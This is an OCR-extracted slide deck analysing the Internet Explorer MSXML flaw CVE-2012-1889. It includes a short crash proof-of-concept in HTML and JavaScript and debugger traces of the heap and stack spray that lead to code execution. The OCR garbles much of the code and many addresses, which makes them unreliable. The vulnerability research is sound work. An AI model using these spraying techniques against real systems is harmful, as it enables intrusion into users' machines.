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Timeline HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Before the 30" of May 2012 attackers were exploiting a new
Microsoft Internet Explorer Oday.

The 30t of May 2012 Google warned Microsoft about this
vulnerability existing in the core of Internet Explorer XML
services.

The 12t of June 2012 Microsoft published a security advisory with
a temporary fix.

On June 18t 2012 the Metasploit Project released an exploit
module.

On June 19 2012 a Metasploit update was released, which
proposed a 100% reliable exploit for Internet Explorer 6/7/8/9 on
Windows XP, Vista, and all the way to Windows 7 SP1.
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The flaw HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

The vulnerability exists in the MSXML3, MSXML4 and MSXML6
Microsoft dynamic-linked libraries.

To trigger the flaw one must try to access an XML node (object
iIn memory) that has not been appropriately initialized.

This leads to memory corruption in such a way that an
attacker could execute arbitrary code in the context of the
current user.

This category of flaw can frequently be abused by arranging
the heap and stack memory areas with memory addresses
previously known by the attacker before the weak code triggers
the bug.
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What is XML? HIGH-TECH BRIDGE
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According to Wikipedia: ‘

The Extensible Markup Language (XML) defines a set of rules
for encoding documents in a format that is both human-readable
and machine-readable.

The design goals of XML emphasize simplicity, generality, and
usability over the Internet.

It iIs a textual data format with strong support via Unicode for
many programming languages.

It is also widely used for the representation of arbitrary data
structures, typically in web services.
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Details about the crash HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

The crash is produced in the msxml3.dll module.

The function name where Internet Explorer generates the access
violation is _dispatchimpl::InvokeHelper.

The instruction which produces the crash is a call to a pointer
generated by the content of the ECX register plus the 0x18h
value.

In the present document we analyze the whole process from the
heap and stack spray, until the bug is triggered and the code
execution is reached.

Our lab environment is an English Windows XP SP3 operating
system with IE 6.
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Crash proof of concept HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

A working proof of concept could be coded in these two ways:

=html >
<head>
zobject classid='clsid:feD30f11-9c73-11d3-b32e-00c04F930bb4" id="calll¥'></object>
“script type="text/javascript">
function getWValue ()
{
document .getElementById ("callaX") .object.definition (0]} ;
¥
<fsoript>
< fhead>
<hody>
<hl onclick="getValus()">CVE 2012-1889<=/hl>
< body >
< /html >

<html:>

<object oclassid="clzid:feD20f11-9c73-11d3-b32e-00C04f2930bkb4" id="calll¥"></object:>
<script>

var obj = document.getElementByvId("calllX"™) .object:

obj.definition (0):

<fsoript>

</html>
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The crash in Windbg HIGH-TECH BRIOGE

INFORMATION SECURITY SOLUTIONS

= Here is the crash within WinDBG debugger:

749bd768 ££7514 push dword ptr [ebp+0xld
749bd7eb 623£8a79b74 pu=sh Nx749%ba?fd

749bd 7?70 pu=h

749bd push

{dac.e?4): Access wiolation - code 0000005 (first chance)

Fir=zt chance exceptions are reported before any exception handling.

Thi=z eEception mavy be ezpected and handled.

eax=7498670c ebx=00000000 ecmx=5fSectib =d=x=00000001 e=i=7493670c edi=0013=350
elp=749bd772 e=p=0013e010 =bp=0013sl4c iopl=0 nv up 21 pl nz na po nc
c==001b ===0023 d==0023 e==0023 {==003b g==0000 ef 1=00010206
nzEmnli!l_di=patchImnpl: : InvokeHelper+0xhd

749bd4772 ££5118 call dword

0:000r dd SfSeckal
EfEEDE\ElE Far e e b e R e i i b e e e e e
5fSechbi3

SfGechcd

SfLechdd

Lftecbeld

EfSeckfl

5f5ec?03

BfSec?13
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Loading the vulnerable module HIGH-TECH BRIOGE

INFORMATION SECURITY SOLUTIONS

In order to analyze this flaw we first create a simple HTML file.

The main purpose is to load the vulnerable module first.

Once the module is just loaded in memory, a breakpoint is set at
the very beginning of the function
dispatchimpl::InvokeHelper.

<html:-

<head:>

<obhject classid='clsid:£6D90£11-9c73-11A3-b3Ze-00c04F290kbbed' id='callliX' == fobject:-
<gsoript type="text/javascript'-

alert ('Library maxmli iz now loaded']):;
< fsoript>

< fhead>

<hody:-

<hl1=CWE 2012-18589<fhl:-

< fhody -

< fhtml -
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Loading the vulnerable module HIGH-TECH BRIDGE

= The msxml3.dll module is now loaded at the 0x7498000
memory address.

He Bl dew Fowiliss ek sEp :\Documents and Settingsicalla

Back - e L Search Favorites 7 . 2 = * .
{ AT =
Microsoft Internet Explores Kl

Address [ C:\Documents and Settingslcallax|Deskop|CVE 2012-1889\Load him = R |Links »

@ To help protect your security, Internet Explorer has restricted this file from showing active content that could X
access vour computer, Click here For options, .. '2 Lil:lrElr':." ricsilE s ma [ReRks

B
CVE 2012-1889

l_l_l_ ’_ ’_| 9 My Computer

Command - Pid 3868 - WinDbg:6.4.0007.0

0.007> g
ModLoad: 74980000 74293000 CoWIRDOTS wsystend 2 mnsznld dll -
ModLoad: 7550000 75ccd000 CoWIRDOTSsystend2~jscript . dll

L

|Debuggee 1= running. . .
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Some important points HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Until the HTML page is rendered the _dispatchlimpl::InvokeHelper
function will be called four times, however the instruction which permits
arbitrary code execution will be hit at the fourth entry.

Before the dispatchimpl::invokeHelper function is reached the heap will
be already prepared in order to contain the or al,0x0C sled which gently
leads to the execution of shellcode.

The or al,0x0C instruction does not affects any critical data. The goal is to
"slide" the flow of code to its ultimate destination.

Since the shellcode is sitting in multiple chunks in the heap right after the or
al,0x0C sled the probability of successful arbitrary code execution is very

h|gh . (see slide 13)

The stack will be sprayed with fake pointers 0cOc0c08 in order to
successfully reach the or al,0x0c sled. seeside17)
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INFORMATION SECURITY SOLUTIONS

= After the _dispatchlmpl::InvokeHelper function is first reached, this is

the status of the call stack.

= At this point the heap is already arranged with the or al,0x0C pattern.

0000138304 749bdb13 msxmli3!_dispatchimpl::InvokeHelper

0200138378 7dcars% msxml3 IDOMDocumentWrapper:invoke+HIx7 5
03001383b4 7deas90amshtmlGetDispProp+0xds

04001383ec 7dea7495 mshtmlICOlesite:GetReadyState+0nd 1

0500138418 7deaab60mshtmlICOlesite::OnControlReadyStateChanged+0x1c |
0800132498 7deahlee mshtmlICOlesite::CreateObjectMow+0x40d l
07 0013adbc 7deaba20 mshtml!CCodeload :OnObjectAvailable+0x84 ‘
0800133530 7deabhd7e mshtml!CCodeload::BindToOhbject+0x460 |
0900135550 7deas151 mshtml!CCodeload:Init+0x287 \
0a0013a5d0 7deafesh mshtml!COlesite::CreateOhject+0x26d \

Oc 0013e784 7dcd06fs mshtmlICHtmObjectParseCt Execute+0x3
0d 0013e7d0 7dc9cfad? mshtmlICHEmParse::Execute+0xd 1

Oe 0013e7dc 7dccdb87 mshtmlICHtmPost:Broadcast+0xd

Of 00132898 7dchac3f mshtml ICHtmPost:Exec+0x32f

100013e8b0 7dchdbed mshtmlICHtmPost:Run+0x12

11 0013e8c0 7dch5023 mshtmlIPosthManExecute+0x51

12 0013e8d8 7dch4fas mshtml!PostManResume+0x7 1

13 0013e8ed 7dch3ffc mshtml ICHtmPost:OnDwnChanCallback+0xc

0100138340 749dch09 msxmi3!_dispatchimpl::invokes+0x5e XML CORE SERVICES

Ob 00132780 7de33720 mshtmlICObjectElement::CreateObject+0x721 H}- MICROSOFT HTML ENGINE
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Analysis of the vulnerability (2)
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It is possible to observe the copy procedure of the dword values 0cOcOcOc
into the heap area.

The copy routine is executed from the msvcrt!memcpy function which was
called by the jscript.dll module.

JVWMah edi - 3f

Memory - Pid 3144 - WinDbg:6.4.0007.0
Display Format: IEyte I | Previous I

002id4fd
00z1ds1n
00214523
00214536
0021ds49
0021d55c
0021d56f
nnzidsaz
00214595
0021d5a8
0021d5bhb
0021d5ce
0021d5el
00zidsi4
nnziden?
0021deéla
0nz2idez2d
0021de4n
0021de53
nN21ARRA

£3

I
17

Offset: [75c6b9a5 |

77cd6fTe
77c46f80
77cdBfa?
77c4Bf84
77cd46fdn
77c46f88
77cd6fda
77c46f90
R=t13 %1
77c46f98
77c46f9b
77cd6f %
??c46fal

7?046fa5
77cdbfac
77cdbfas
77c46fb3
77c46fb6
77c46fb8
77c46ibb
7icd6ibd
E=11:3 =11
77cdbich
77cdbfco
77c46£d3

8bcl

8bdl

03ck

3bfe

7608

3bfa
0fg27e010000
f7c703000000
7514

clef02
83e203
83f908

?229

ff2495b8?ﬂc4??
8bc?
bal3000000
832904

720

23=003

03ch
f£2485d06fcd?7
f£248dcB70c477
30
££248d4c70c477
90

nsvort | nencpy+0x20 (77cd6£90)
edi. sax

nsvort lnencpy+0=x198 (77c47108)
edi, 0=z

nsvert | nencpy+0xzic (77cdbfac)
ecx, Iz

edx, Ozl

ecx, 0x8
nevert | nencp ??c46fcc

- 4 ] 5
ij dword ptr [msvcrtlmemcpy+ﬂxl48 (??c4?0h8)+edx*4]
mov eax, edi

mov edx, 0x3

=sub ecx, Oxd

ib nsvert | nemncpy+0x54 (77cdbfcd)

and eax, Ozl

add BCH, 2aK

jnp dword ptr [msvcrt!memcpy+0xe0 (77cdefdl)+=ax*d]
jmp dword ptr [nsvert!memcpy+0x158 (77cd70c8 )+ecx*d]
nop

jnp dword ptr [msvcrt!memcpy+0xdc (77cd?04c)+ecz=d]
nop

[Registers - Pid 3144 SNiRm |

Cuﬁnmue”.l

Bz

Yalus
0
3b
23
23
21d53c
209314
382cO
1]
3a

ik
13e3do
77cd46fal
1b

212

ci

]

da
fo
82

1]

]

93
271
100
fiff
1llc
75c5b23a

7Eceelf?
7Echooea
75chodld
75chboaed
7Ecbeida
75choell
7dcd3ien
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nevert | nemcpy €¢——

jecript | Hamelist : FCreateWwval+lxel

j=cript | HameThl : : CreateVval+lxZa

jecript |HameThl :  CreateVar+0=17

jecript |CSession:  AddObject+0x70

jzcript |C0leScript: (RegisterHanedIlten+0x=79
jecript | COleScript :  AddNamedItem+l=zaa
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Analysis of the vulnerability (3) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= After finishing the aforementioned copy procedure, the heap is
properly arranged:

Command - Pid 2768 - WinDbg:6.4.0007.0

0:000: Ad OcOcOcOc+e00
Oz0=120c  OcOcslclc OclczO0clc Oclclclc Oclclclc Or al,0x0c Sled
Oclcl2le  OclOclclc OcOcOclc 7996277 2<047i4674)
Ozl0cl22c e=eb087b4b 8db5a8e7? 253f35b8

Oz0c=123c  487691b7 d2d10bbf =08cdeds bL990£5
Ozl0cl24c 0949fclb 77147af8 20=1£f723 894375e3
Oz0=125c  1393a9f9 151cdadb 66ba9bbb 69d43L37
Ozlcl26c  419724fd 7bafde?a 76bL9604 83428775
Oz0cl127c  70eblf8e? be9ff921 A5227eb9 242790a9 Beginning of Shellcode

0:0005 |
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Analysis of the vulnerability (4) HIGH-TECH BRIDGE
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= This IS the call stack when the function
_dispatchlimpl::InvokeHelper is hit the second time:

000013824 749bdb13 msxmli3!_dispatchimpl::InvokeHelper

0100138320 749dch02 mskml3!_dispatchimpl::invoke+0x5e ¥ML CORE SERVICES
0200138358 7dcaks% msxml3 IDOMDocumentWrapper:invoke+HIx7 5

0300138394 7dea590amshtmlGetDispProp+0x45 \\.

04001383cec 7dea7495 mshtmlICOlesite:GetReadyState+0nd 1 |

05001383f8 7deaaff8 mshtmlICOlesite:OnCantrolReadyStateChanged+0xlc \

0600138414 7dea3Zbamshtml!CCodeload: Terminate+Ouch ‘

07 0013841c 7deaacs0 mshtml!ICOlesite:ReleaseCodeload+0xls

0800132498 7deahlee mshtmlICOlesite:CreateOhjectMow+0ndfd |I
09 0013adbe 7deaba20 mshtml!CCodeload:OnObjectAvailable+Oxd4d |
0z 0013a5307deabd?e mshtmllCCodeload::BindToObject+0x460 \
Ob 0013a5507deas151mshtmlICCodeload:Init+0x287

Oc0013a5d0 7deafesh mshtmlICOlesite::CreateObject+0x26d

0d 00138780 7ded3720 mshtml ICObjectElement::CreateObject+0x7 21

Oe 00132784 7dcd06fs mshtmlICHtmObjectParseCti Execute+0xd

Of 0013e7d0 7dc9cfa? mshimlICHtmParse:Execute+0xd 1

100013e7dc 7dccdbB87 mshtmlICHtmPost::Broadcast+0xd

11 0013e898 7dch4c3f mshtmlICHtmPost:Exec+0x3 2f

12 0013e8b0 7dch4bed mshtmlICHtmPost:Run+0x12

13 0013e8c0 7dch5023 mshtmlIPosthManExecute+0x51

>MIERDEDFI’ HTML EMGIME
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Analysis of the vulnerability (5) HIGH-TECH BRIDGE
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= Here is the call stack after the vulnerable function is thirdly
reached:

000013bfdd 749bdb13 msxml3!_dispatchimpl::invokeHelper

01 0013c010 749dch02 msxmi3!_dispatchimpl::invoke+0x5e

02 00130048 7dcaB59 msxml3 IDOMDocumentW rapper:invoke+0x75
03 0013c084 7dcccc59 mshtml!GetDispProp+0xds

04001 3e0ec 7dea2667 mshtmlGetSIDOfDispatch+0x78

050013e314 7deaed6b mshtml ICOleSitesAccessallowed+0x45
0600138334 7dccc9dS mshtmlICObjectElement:get_object+0x5d \
07 0013e348 7dccB8a23 mshtml 1G_IDispatchp+0x1f ~ MICROSOFT HTML ENGINE
08 0013e3c8 7dcfel8b mshtml!CBase:ContextinvokeEx+0x 462

09 0013e3f8 7deacfll mshtml!CElement:ContextlnvokeEx+0x7 2

Oa 0013ed440 7deacSfc mshtml!COlesite:ContextinvokeEx+0xab

Ob 0013e474 75c7 1408 mshtml ICOleSite::ContextThunk_InvokeEx+0xd4

Oc0013edac 75c71378 jscript!iDispatchExinvokeEx2+0xac

0d 0013eded 75c76db3 jscript!iDispatchExlnvokeEx+0x56

Oe 00132554 75c710d8 jscriptlinvokeDispatchEx+0x7 8

Of 0013e59c 75c7680b jscriptVARInvokeByName+xba

1000132650 75c7165d jscript! CScriptRuntimesRun+dx9el

11 0013e668 75c71793 jscript!ScrFncObj:Cal+0x8d

12 0013e6d8 75c5dak2 jscript!Ciession:Execute+0xa7

130013e728 75c5e6e7 jscript!COleScript:ExecutePendingScripts+0x147

ML CORE SERVICES
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Analysis of the vulnerability (6) HIGH-TECH BRIOGE

INFORMATION SECURITY SOLUTIONS

Finally, we can observe the call stack after the

_dispatchimpl::InvokeHelper function has been accessed for the fourth
time.

At this point the fake pointers were written into the stack, as shown in the
next slide.

000013e2d0749bdb13 msxmi3!_dispatchimpl:invokeHelper

010013e30c 749d4d84 msxmi3!_dispatchimpl:invoke+0n5e W

020013e34c 749dcaed msum|3IDOMNode:-invoke+Oxaa = XML SERVICES

030013380 745bd5aa msxm|3 ! DOMDocumentWrapper::invoke+0u50 (

040013e3de 749d6e6c mauml3!_dispatchimplinvokeEx+Oufa

05 0013e40¢ 7571408 msuml3!_dispatchEx<IXMLDOMMNode ELIBID_MSXML2, EIID_IXMLDOMNode 0> InvokeEx+Ondd -

0600136444 75¢71378 jscript!i DispatchExinvokeEx2+0xac

07 0013e47c 75¢76db3 jscript!iDispatchExinvokeEx+0x56 A

0B 0013edec 75c710d8 jscriptlinvokeDispatchEx+0n7 8

090013534 75c6fabBjsoript VAR InvokeByName+Dxba

0 0013574 75c6efea jsoript VAR InvokeDispName+0xd3

Ob 00136558 75c764jscript VAR InvokeByDispID+Oxfd \,. THE VALUES CONTAINED IN THE STACK WERE
0c 0013650 757 165d jseriptlcSeriptRuntime: Run+0x 15bd ,  SVERWRITTEN WITH THE DODODOUE PATTERN
0d 0013668 75c7 1795 jseript!SerFncObjCal+0x8d

Oe 0013e6d8 75c5daB2 jscriptICSession: Execute+0uad

0Of 00128728 75cSeeT jscript!COleScript-ExecutePendingScripts+0x147

100013878¢c 75c56538 jscript!COlescript:ParsascriptTextCores0n243

110013e7b8 7dcd195b jscript!COleScript:: ParseScriptText+0u2b

1200136818 7dcd 1804 mshtm|ICScriptCollection:ParseScriptText+Onlda

13 0013e8d0 7dcd 180 mshiml ICScriptElement::CommitCodes0nlel
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Analysis of the vulnerability (7) HIGH-TECH BRIDGE
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» The fake pointers copy procedure is being executed by the memcpy
routine called from the jscript module.

Memory - Pid 3696 - WinDbg:6.4.0007.0 Reqgisters - Pid 3696 -
|wirtual: [0016b7 9c-4 |Jnknlwhm=|Paint=r and || Previous | Customize, .

001bb738 0000004 |
001bb73= Dclcde08 Reg [ Value =
001bb7al DclclcO8 gs 1]
001bb7a4 OcOcOc08 f= 3b
QD1bb7a8 Oc0c0=08 e 23
001bb7ac DelclcOf d= 23
001bL7b0 Dc0cOc=08 edi 1bb7h4
001bb7b4 DOGEDOT ;

001bE7BE D061006e esl fadlze
001bb7be 00690074 0
001bb7c0 D06e006E 5
001bb7c4 00440020 o423
001bb7c8 00620079 2
001bb7cc 00640061 13eS6c
001bL740 00630069 ?7cdbtal3
D01bb7d4 DO4E0020 1b
001bb7d8 0060061 10246
001bb7de 00650000 13e564
001bb7e0 02500000 23
00lbb7ed 001bafds

Disassembly - Pid 3696 - WinDbg:6.4.0007.0

T7c46E 7?5 e=zi . [ebp+0=c]

77c46f78 ecx . [ebp+0=10]

77c46f7b edi, [ebp+0=8]

77cdei7e SAH, BCXH

77c4d6f R0 edx, ecx

T7cdefg? BAH, 21

T7cdbfd edi, esi

77cd6f 86 nsvert lnemcpy+0=220 (77c46£90
77cdefas 3bis edi, eax

77cdefda QEf8278010000 nevert | nemcpy+0x198 (77c47108)
77cdef 30 £7c703000000 edi, 0x3

77cdef36 7514 ] nsvert lnemcpy+0x3c (77cdefac)
77cd6f98 cledl? mox, Oxd

77cd46f9b B3=203

77cdbf9= B3£908

77cdbfal 7229

3 £3aS 5] novsd ds:001ad22c=0clc0ci8 es:-001bb7b4d=006E£0073

edx
ecK
eax
ebp
elp
cs
efl
eSP
55
dri
drl
dr?
dr3
drb
dr7?
di
=i
ot
d=
cx
ax
bp
ip
fl
sp
bl
dl
cl
al
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Analysis of the vulnerability (8) HIGH-TECH BRIDGE
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Here is the status of the stack after finishing the aforementioned
routine.

L Pid 1000 - WinDbg:6.4.0007.0
Fil= Edit wiew Debug wWindow Help

= == E &elel o] o EseEEEEO [ A 2

Disassembly - Pid 1000 - WinDbg:6.4.000 7.0 mE |} Memory - Pid 1000 - WinDbg:6.4.0007.0 E3 =l

OFFsek: I?49bd6he | Prewvious I Mext I J'-p'irtual: I@esp Prewious

749bde9d BbBSfOfdAEfff mow eax. [ebp—0x210] | Display Farmak: [Pointer and Symbol Tt
749bd6az Sh0OS Tt ec=, [eax]
749bdiat push o= 0013selcd O=0c0c0E
749bdEab call dword ptr [ecx+0 [|[0013=elcE OcOcOcOS
749bdeas o ecx, [ebp—0x4] 0013elce 00008
749bd6ac oop =di 00l13eld0 OcO0cOc08
749bdiad now cax. e=1i 00132=l1d4 OcOcOc0f
749bdeaf pop e=1i 00l1Z2elds 00008
749bdeb0 call m=Emli!__ securit ||0013=ldc O0cOcOc08
749bdebS leave 0013elel Oc0c0cOE
749bdELE Tre=t O=10 00l13el=d OcOcO0c08
749bdeba nop 0013=ele? 0=0c0c02
749bdeba nop 00l13elec OclOcO0c=08
749bdabhb nop 0013=1f0 O=0c0cO08
749bdEbo nop 0013=1lf4 Dc0c0cOB
il ol 0012=l1f8 OcOcOc0f
m==ml3l dispatchImpl:  ITnvokeH=lper: 0013=lfc OcOcOc02
= T - 0013=200 OcOcOc0g
749bdAc0 55 ru=sh 00132204 OcO0c0cOB
749bd6cl Shec now 0013=208 OcOcOc0B
749bd6c3 8lecOc0l0000 0013=20c OcOc0c08
24 9hd : 0013=210 OcOc0c=08 .
0013=214 0c=0cOcO08 Fake pointers
0013=218 OcOcOc0B
[ebp+0=24] . =hx 00l3ezlc OclOcOcO02
push edi 0013=220 OcOc0Oc=08
push =b= 0013=224 OclOcOc0g
ru=h ebx 0013=228 0OcOcOc0B
Of9CACEf s=tne bvte ptr [sbp—0x [|0013=22c O0cO0c0c08
a9cdfa mosw [ebp—0=8]. =bx 0013=230 OcO0sO0c=08
f£159c902474 call dword ptr [mszml3!_im [[0013=234 0=0=s0=08
8h750c mosr e=i. [ebp+0=xc] 0013=238 0cO0cO0c08
5d45f 4 lea eax. [ebp—0=c] 0013=23c O0cO0c0cO8
co pu=h eax 0013=240 OcOcOc0B
Ofbedelc MOV = eax.byte ptr [es 0013=244 0z=0=0c=02
c0 push eax 0013=248 OcOcOc0g
fE7618 push dword ptr [e=si+0 [|0013=24c OcOcOcOB
f£7510 push dword ptr [ebp+D [|0013=250 0c0c0c08
eRE9fIEFEE call msuml3|_dispatch [|0013e254 0c0c0c08
3bco3 pe—— eax . ebhx 0013=258 OcOc0Oc=08
mosr [ebp+0xc] . eax 00l13=25z Oc0cO0c=08 |
’I B brssonTend 3 —_'I 00l3=e260 Oc0cOcO08 LI

nnis=?fd Nelenens

| Lo, Colo | Sysoi<local= | Procooo:zes | Thrd 000:dos  [ask [OuR [Caps |RUM
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Analysis of the vulnerability (9)

» As said before, from this point the vulnerable code will finally lead to
arbitrary code execution.

The function prolog is executed as usual.

At the 0x749BD6C3 address 0x10C bytes are reserved for the local
variables, thus we can observe the previously injected fake pointers.

mzEnld!_dispatchInpl: : InvokeHelper:
749bdebe 8bff mow edi
749bdec0 55 push ebp

cedi

Inor =ho
749bdec3 8lec0z=010000 =ub ==D

E T
0=10c| go13eicd

0013elch
0013elco
0013eldn
0013eld4
0013elds
0013eldc
0013elel
I013eled
0013eled
001l3elec
0013elfn
0013elfd
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N=0c=0cz08
Q0008
I=0c=0c08
Ic=0c0cz08
Ic=0c0cz08
I=0c=0c08
Q0008
Nzlz0cz0g
N=0c=0cz08
Q0008
I=0c=0c08
Ic=0c0cz08

Ic=0c0cz08
S
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= At the address 0x749BD6C9 other arguments are pushed in
order to call the SetErrorinfo function from the Oleaut32.dll

module.

749bd6c9 ebx
749bdeca 2=l

749bdech ebx . =bx

749bdécd [ebp+0x24]. ebx
749bded0 edi

749bdedl ehx

749bded2 ehx

749bd6d3 Of954G5ff E"e ptr lebp—0x1]

749bd6dY 89548 .
9bdeda ££159=90a474 =all dword ptr [ms=Eml3! imp SetErrorInfo (7434909 JfOLEAUT3IZ | SetErrorInfo
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= After returning from the SetErrorinfo function the routine
FindIndex is also called:

749bdeel 8b7E0c =1, [ebp+l=c]

749bdee3 8d45f4 z2a®. [ebp—-0=c]

749bdees 50 S8

749bdee? 0fbbdelc 2a®.bvte ptr [e=i+lxlc]

749bdeeb 2ax

749bdbec dword ptr [e=s1+0x18]

749bdeef b

749bde ca I I 1Impl : i ® ([ 749bd(

n=xnld! dispatchImpl: FindIndex:
nov edlL,
749bd0g2 GBE push ebp
749bd063 Sbec mnowv cbp. esp
749bd065 53 push sb=
749bd066 8b5d0c nov ebx, [ebp+lx=]
749hd4069 GA push =51
749bd06a B8L7E10 nov e=1i, [ebp+0x10]
749bd06d push edi
749bd06e HOr edi, edi
749bd070 dec es1
749h4071 Mo ecx, [ebp+0x=8]
749bd07 4 lea sax, [esi+edi]
749bd077 cdg
749bd078 =ub =ax, edx
749bd07=a =ar eax, 1
749hd07= =uh ecx, [ebxteax*i]
749bd07 £ jn= m=Eml3!_dispatchImpl:  FindIndex+0=x26 (749bd086)
749bd0sl lea ezi, [eax—0z1]
749bd40E4 jup nEEml3!_dispatchInpl:  FindIndex+0=x2d (749bd4d084)
749bd0 tes S,
=lle ] 3 i t : :FindIndexz+0 [ 749bd
749bd08a lea edi, [eax+0x1]
749bd0sd cnp edi,e=si
749bd0BE jle mzxml3!_dispatchInpl: FindIndex+0x11l (749bd4071)
749bd091 bLAO3000280 nov eax, 0280020003
74904096 =b0b Inp m=Emll!_dispatchInpl: FindIndex+0x43 (749bd0a3)
749bd098 8bddc304 nov =ax, [ebx+eax*®8+0x4d ]
749bd09%= 8bddid nov ecx, [ebp+0zl14]
749bd09f 8901 nov [ecx].eax
749bd0a1 330 HOT =aE, 2ax
749bd0a3 pop edi
749bd0ad pop es1
749bd0at pop sbx
749bd0ab pop ebp
749bd0a? c21000 ret 0x10
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When the code returns from the FindIndex function the EAX
value is set to zero.

edi
=]

13=4d4
7454f584

=hx

I

edx
=CE

1]
13iedcd

|EEI.I-I

0

ehp
=1p

13e2d0
749bdEf 7

Thus, the conditional jump at the address 0x749BD6FC is not
performed.

749bdéec
749bdéef
749bd6f 2

749bd7 02
749bd705
749bd4d708
7495470k
749bd70=
749bd711

ftf7618
f£7510
edb9f9ffff
Jbhe3
89450
Bb45f4
gb?dlc
395£048
gbdell
gd0a4n
8d0dcl

dword ptr [esi+0x18]
dword ptr [ebp+0xl0]
m=Emnli! dispatchImpl: FindIndex (749bd4060)

zax. [ebp—-0=c]
ed1. [ebp+i=xlc]
[edi+0=3].=bx
ecE, [esi+0=x10]
2ax. [Eaxteax*? ]
2ax ., [ecEt+eax*d ]
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INFORMATION SECURITY SOLUTIONS

The flow of code continues until it reaches the instruction “lea eax,
[ebp-0x1c]” which loads the EAX register with one of the fake
pointers.

This starts to be interesting. However we have not hit the bug yet. ‘]

74904714 Y674 b2 mEEnli!l_dispatchInpl : : InvokeHelper+lxcc (749bd78a)
749bd7?16 395410 CImp [ebp+0x10] . eb=

749bd719 T4ef Jz mExnld! _dispatchImpl::InvokeHelper+0zcc (749bd78a)
749bd71b fR451801 test byte ptr [ebp+0xl8].0=x1

749bd71f Y469 jz msEmlid!_dispatchInpl:  InvolkeHelper+lzcc (749b4d7 820
749bd4721 fe401c02 test byte ptr [sax+0=xl6]. 0=2

749bd7 25 Y463 jz mEEmli!_dispatchInpl: : InvolkeHelper+lzcc (749bd4d7 820
749bd727 6083781409 word ptr [eax+0x14],0=x9

749bd7 2z 7RG j I izpatchInpl : : InvokeHelper+lxce (749bd78a

749bd72e S8d4E5e=d 5, g%, [ebp—0=xlc ==:0023:0013e2bd=0c0=0z08

0:000: d [sax
mm) (00132254 h 08

0013=2c4 06 00 00 OO0 00
00132d4 13 db 9b 74 a4
001324 09 04 00 00 01
00132f4 b4 =4 13 00 ec
0013304 17 00 00 00 =0
0013314 84 £5 a4 74 24
0013324 09 04 00 00 01

Jd
[0 o0 |
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= | ater, the code flow calls the Oleaut32!Variantinit function.

= We will not go deeper into this function as this is not interesting
for this analysis.

749bd7 e 2ax. [ebp—-0xl1c]
749bd731
74954732 ££159890a474 ca iy mm. 31 dm JariantInit (74349098 °% J40LEAUTIZ | VariantInit

OLEAUT3Z | VariantInit: l

77124952

77124953 8bec

77124955 8b4508 =ax,. [ebp+0=8]

77124958 ee832000 word ptr [ea=x].0x0

7712495 5d ebp

7712495d <20400 0=d

77124960 83=804 eax, O=xd

77124963 74da CLEAUTIZ IVariantClear+ixad (771249300
77124965 83=817 =ax, 0x17

77124968 0£845a010000 COLEAUT3IZ IVariantClear+0x?b (77124ac8)
77124962 832824 =ax, Ux2d

77124971 74ch j CLEAUT3IZ IVariantClear+0=zad (771249303
77124973 668b0s ax, [e=i]

77124976 fecd20 ah, 0=x20

77124979 7488 CLEAUT3IZ IVariantClear+0zbbh (77124903)
771249%7b focdd0 ah. 0=x40

7712497 7583 COLEAUT3Z IVariantClear+0xbb (77124903}
77124980 ££7608 dword ptr [esi+0x8]

77124983 e81d0s0000 COLEAUT3Z |SafedrravDestroy (77124£a5)
77124988 850 SaH, eax

77124982 0f8d4A73ff{££f CLEAUT3IZ IVariantClear+0xbb (77124903
77124990 974111 CLEAUT3IZ IVariantClear+0=zcl (77124909)
77124995 90

77124996 90
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After returning from the Oleaut32!Variantlnit function the code pushes the EBX register
which was previously set to zero.

g=
f=
e
d=
edi

e=i 24f584
=hx
R i 749bd7 38 53

749847349 = . ==:0023:0012=2b4=0c0c0000

Scx 7i2isa8  745hd7ic 5O e

Sax = 749bd73d Bal? 0=z

ebp 1322d0 749bd73f 53 sbx

eip 743bd738 | 749BRd740 ££7510 dword ptr [esbp+0x10]

(=t 1b 749bd743 f£7508 dword ptr [=bp+0=8]

efl 246 749bd746 ££5620 dword ptr [esi+0=20]

esp 13elbs 74904749 3bc3 =ax, ebx

Later, the code loads EAX with a pointer of injected dword values.

However the low word was partially corrupted during the execution. Nevertheless this will
not affect the arbitrary code execution.

OLEAUTI2 IVariantInit:

ebp
77124953 ebp.
77124955 Z3b4as0a =ax, [ebp+0=8]
77124958 BREIZ000 word ptr [eaz1.0=0gp.0p0s dd 0012e2b4

0013=2b4  [0cOc0000
0013=2c4 00000006
0013=2d4 749bdbl3
0013=2=4 00000409
0013=2f4 O0013=4bd4
0013=304 00000017
0013=314 74a4f584
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The code continues running until it reaches a call to the pointer of
[esi+0x20] which resolves to the DOMNode:: invokeDOMNode
function.

We are not going deeper into all the subsequent calls from this point,
however the next slide shows the call stack until reaching the last
function into the process of creating the XML node. During this phase
the “get_definition” function is finally accessed.

749bdY 3z
749bd73d
749bd7 3f
74904740
749hd743
749bd7 46
749bd4749
749bd7db

50 Sax
Gal? O=2
53 ebx
ft£7510 dword ptr [ebp+0xl0]
f£7508 O dword 1 fe=t i
ff5620 call dword ptr
3bc3 P
0f 87000000 J1 meEmld!_dispatchImpl:  InwvokeHelper+0xl15a (749bd43183
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The Node::get_definition function is accessed.

0013=0£0
0013=100
N013ellc
0013=170
0013=180
0013=198
0013=2d0
0013=30
0013e3de
0013=380
0013e3de
0013ed4lc
0013=444
0013=47c
0013edec
0013=534
0013=574
0013=598
0013=650
N013e668

74991cde m=xml3|DTD: : New

749d31a9 _m=xml3 | Document @ -

749d5d9 msgmld | Hode  getlefainitiontixld |

749dea?2 msEml3 I DOMNode: (get_definition+0=xE9

749d3dbd msxnld ! DOMDocumentWrapper: (get_definition+0xld
749bd749 msxml3!DOMHode: :_invokeDOHHode+lx24c

749bdbl13 m=xmli! dispatchImnpl: : InvokeHelper+0x8b
749d4d84 mexml3!_dispatchinpl: : Inveke+0xSe

749dcasd m=xml3 | DOMNode: : Invoke+Oxaa

749bdSaa msEml3 ! DOMDocumentWrapper : : Invoke+0x50
749deebtc msEml3 ! _dispatchInpl: : InvokeEx+0xfa

7571408 mszEml3!_dispatchEx«< IXMLDOMHode, &LIBID_HSXMLZ  &IID_IXMLDONHode. 0»: : InvokeEx+0xd
75c71378 jscript!lDispatchExlnvokeEx2+0xac

75c76db3 jscript!IDispatchExInvokeEx+0x56

